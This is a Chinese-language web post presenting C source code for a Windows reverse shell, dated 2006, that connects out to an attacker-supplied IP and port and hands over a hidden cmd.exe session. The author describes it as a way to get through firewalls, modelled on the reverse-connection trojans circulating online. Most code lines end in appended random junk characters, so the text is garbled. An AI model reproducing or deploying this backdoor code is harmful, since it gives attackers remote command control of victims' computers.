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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }I;A\K]  
#95.KkF  
/* ============================== =s`\W7/;{-  
Rebound port in Windows NT z5-vx`  
By wind,2006/7 59gt#1k  
===============================*/ jPg8>Z&D  
#include |LA./%U  
#include _7>$'V{  
f^il|Obzl  
#pragma comment(lib,"wsock32.lib") hko0 ?z  
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void OutputShell(); U.<';fKnT  
SOCKET sClient; J >Zd0Dn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WUx}+3eWv  
rH7|r\]r  
void main(int argc,char **argv) ~Emeo&X  
{ 3eQ-P8LS  
WSADATA stWsaData; Qrjo@_+w!  
int nRet; J<Di2b+  
SOCKADDR_IN stSaiClient,stSaiServer; preKg $U  
Q':xi;?Kt  
if(argc != 3) 2C^/;z  
{ iEr Y2~?  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~;O|$xL  
return; .VN"j  
} )O~LXK=b  
@.ebQR-:H  
WSAStartup(MAKEWORD(2,2),&stWsaData); v'0A$`w`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z?`&HU Nf  
>oi`%V  
stSaiClient.sin_family = AF_INET; \G}EI|Wo  
stSaiClient.sin_port = htons(0); V.5gxr3QqW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 22S4q`j  
}I<r=?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9X&Xc  
{ &1Dq3%$c  
printf("Bind Socket Failed!\n"); @ qWgokf  
return; r# MJ  
} tr0P ;}=  
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stSaiServer.sin_family = AF_INET; FOiwB^$ >  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2iHD$tw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2= 'gC|&s6  
;n_|t/=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,2T&33m  
{ tZmo= 3+:  
printf("Connect Error!"); <a7y]Py  
return; \xG>>A%  
} 8 hx4N  
OutputShell(); J'9hzag  
} g*69TqO^  
DdDO.@-Z  
void OutputShell() j:K>3?   
{ 0A\OZ^P8  
char szBuff[1024]; 7K3S\oPej  
SECURITY_ATTRIBUTES stSecurityAttributes; -b+VzVJZ  
OSVERSIONINFO stOsversionInfo; Cm g(# $ X  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q!8AFLff4  
STARTUPINFO stStartupInfo; \}Fx''  
char *szShell; U 2am1}  
PROCESS_INFORMATION stProcessInformation; @qk$ 6X  
unsigned long lBytesRead; <?'d \B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); % LeG.~?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K|nh`r   
stSecurityAttributes.lpSecurityDescriptor = 0; = TKu2  
stSecurityAttributes.bInheritHandle = TRUE; yq+'O&+   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ek!x:G$'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N9hs<b+N_  
7l}P!xa&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P6'Oe|+'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0o~? ]C  
stStartupInfo.wShowWindow = SW_HIDE; KDr?<"2L  
stStartupInfo.hStdInput = hReadPipe; 9TRS#iVL+*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %suSZw`  
6L[Yn?;  
GetVersionEx(&stOsversionInfo); \'Oi0qo>  
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switch(stOsversionInfo.dwPlatformId) o?(({HH  
{ x0 1n  
case 1: 94 58.!3  
szShell = "command.com"; !h3 $C\  
break; d-Vttxa6  
default: c,nE@~ul2  
szShell = "cmd.exe"; Hx[YHu KL^  
break; ax$ashFO/!  
} ~< %%n'xmm  
l,j7I3&~%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KvENH=oh  
J'c]':U  
send(sClient,szMsg,77,0); 6'CZfs\  
while(1) 2F9Gx;}t5=  
{ ~+w'b7T,=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kt?G\H!}  
if(lBytesRead) y%%D="  
{ {FRUB(68b  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,aOi:aaZRT  
send(sClient,szBuff,lBytesRead,0); j"6r]nc&  
} o %GVg  
else q6DuLFatc*  
{ &Omo\Oq&W>  
lBytesRead=recv(sClient,szBuff,1024,0); 02B *cz_K  
if(lBytesRead<=0) break; 50r3Kl0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vN#?>aL  
} 0#1hkJ"  
} 'J\nvNm  
Fy:CG6@X  
return; #1fT\aP  
}
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